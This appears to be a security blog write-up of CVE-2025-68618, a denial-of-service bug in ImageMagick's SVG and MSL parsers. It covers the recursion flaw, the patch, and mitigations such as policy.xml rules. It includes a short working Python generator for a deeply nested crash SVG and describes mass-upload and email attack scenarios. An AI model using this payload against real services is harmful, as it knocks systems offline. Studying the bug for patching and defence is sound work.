Infinite Loops, Finite Stacks: Parsing CVE-2025-68618 in ImageMagick

ImageMagick is the infrastructure equivalent of duct tape. It is everywhere. If a web application lets you upload a profile picture, resize a thumbnail, or convert a PDF, there is a statistically significant chance that ImageMagick is chugging away in the background. It supports over 200 formats, and that versatility is exactly why security researchers love it. It’s a parser minefield.

CVE-2025-68618 targets one of the most complex formats ImageMagick handles: SVG (Scalable Vector Graphics). SVG isn't just an image format; it's XML code that describes how to draw an image. And where there is XML parsing, there is the potential for logic errors. Specifically, this vulnerability targets the way ImageMagick handles structure—or rather, how it fails to handle too much structure.

The flaw lies in the SVG and MSL (Magick Scripting Language) coders. These components act as bridges, translating XML nodes into internal ImageMagick drawing commands. The problem isn't a complex buffer overflow or a heap corruption in the traditional sense. It's much simpler and more elegant: the code didn't know when to say "stop."

To understand this bug, you have to understand the stack. When software parses a tree structure like XML, it often uses recursion. It sees a parent tag, calls a function to handle it, finds a child tag, and calls the function again—placing the previous state on the call stack. The stack is finite. If you recurse too deeply without returning, you hit the stack guard page, and the OS kills your process with a SIGSEGV.

In ImageMagick's case, the issue was located in coders/svg.c (specifically SVGStartElement) and coders/msl.c. When the parser encountered a start tag (like <g> for a group in SVG), it would blissfully enter a new recursion level.

But wait, it gets worse. It wasn't just about stack exhaustion. In the SVG parser, for every nested element, ImageMagick attempts to resize a memory buffer (svg_info->scale) using ResizeQuantumMemory.

[!NOTE] The Double Whammy: An attacker doesn't just crash the app via stack overflow; they force the server to waste CPU cycles allocating and re-allocating memory for a graphical context that effectively doesn't exist. It's a resource exhaustion attack wrapped in a logic bug.

Let's look at the smoking gun. The fix, applied in commit 6f431d445f3ddd609c004a1dde617b0a73e60beb, is embarrassingly simple. It reveals exactly what was missing: a sanity check.

Before the patch, SVGStartElement would just increment its counter and keep going. The developers assumed that no sane human would create an SVG with 50,000 nested groups. They forgot that hackers are not sane humans.

Here is the critical logic introduced in the patch:

/* In coders/svg.c and coders/msl.c */
 
// The variable 'n' tracks the current nesting depth
if (svg_info->n++ > MagickMaxRecursionDepth) {
    (void) ThrowMagickException(svg_info->exception, GetMagickModule(),
        DrawError, "VectorGraphicsNestedTooDeeply", "`%s'", name);
        
    // CRITICAL: Stop the XML parser immediately
    xmlStopParser((xmlParserCtxtPtr) context);
    return;
}

The MagickMaxRecursionDepth creates a hard ceiling. If the nesting exceeds this limit, the application throws a VectorGraphicsNestedTooDeeply exception and explicitly halts the libxml2 parser. Without this check, the parser was a car rolling down a hill with no brakes.

Exploiting this is trivial. We don't need shellcode, we don't need ROP gadgets, and we don't need to bypass ASLR. We just need a text editor or a small Python script.

The goal is to generate an SVG file that is syntactically valid but structurally abusive. We use the <g> (group) tag because it is the standard container element in SVG and requires the parser to maintain state context.

Here is a Python generator for the PoC:

# CVE-2025-68618 PoC Generator
depth = 20000  # Enough to smash most default stack sizes
payload = '<svg xmlns="http://www.w3.org/2000/svg">'
payload += '<g>' * depth
payload += '<rect width="10" height="10" />'
payload += '</g>' * depth
payload += '</svg>'
 
with open("crash.svg", "w") as f:
    f.write(payload)
    
print("[+] Malicious SVG generated. Upload to target.")

When ImageMagick attempts to convert crash.svg out.png, the SVGStartElement function is called 20,000 times recursively.

1. CPU Spike: The CPU creates stack frames and attempts memory resizing logic.
2. The Crash: The process runs out of stack space (Stack Overflow) or hits a memory limit, resulting in an immediate crash (DoS). In a web server context, this kills the worker process handling the upload.

Because the CVSS score is a "Medium" (5.3), managers often ignore this type of vulnerability. "It's just a crash," they say.

However, consider the deployment context. ImageMagick is often used in automated pipelines.

• Scenario A: A SaaS platform allows users to upload logos. An attacker scripts the upload of thousands of these malicious SVGs. Every upload spawns a worker process that immediately hangs or crashes. The server runs out of worker threads. Legitimate users get 503 errors. The service is dead.
• Scenario B: An internal document processing system automatically converts email attachments. An attacker sends an email with invoice.svg. The internal processing daemon crashes, jamming the queue for the entire company.

While this won't leak the database, it is a highly effective, low-effort way to take down infrastructure.

The obvious fix is to upgrade to ImageMagick 7.1.2-12 or later, which includes the recursion check.

However, the hacker's advice is different: Do you really need to parse SVG on your backend?

SVG is a complex, Turing-complete-adjacent vector format. If you are only expecting JPEGs or PNGs, you should disable SVG processing entirely. This kills this class of bugs (and many others like SSRF via SVG) dead.

Edit your policy.xml file:

<policymap>
  <!-- Disable the vulnerable coders entirely -->
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

If you must support SVG, ensure your MagickMaxRecursionDepth is set (in the source patch) and consider wrapping the ImageMagick process in strict resource limits (cgroups/Docker memory limits) to contain the blast radius.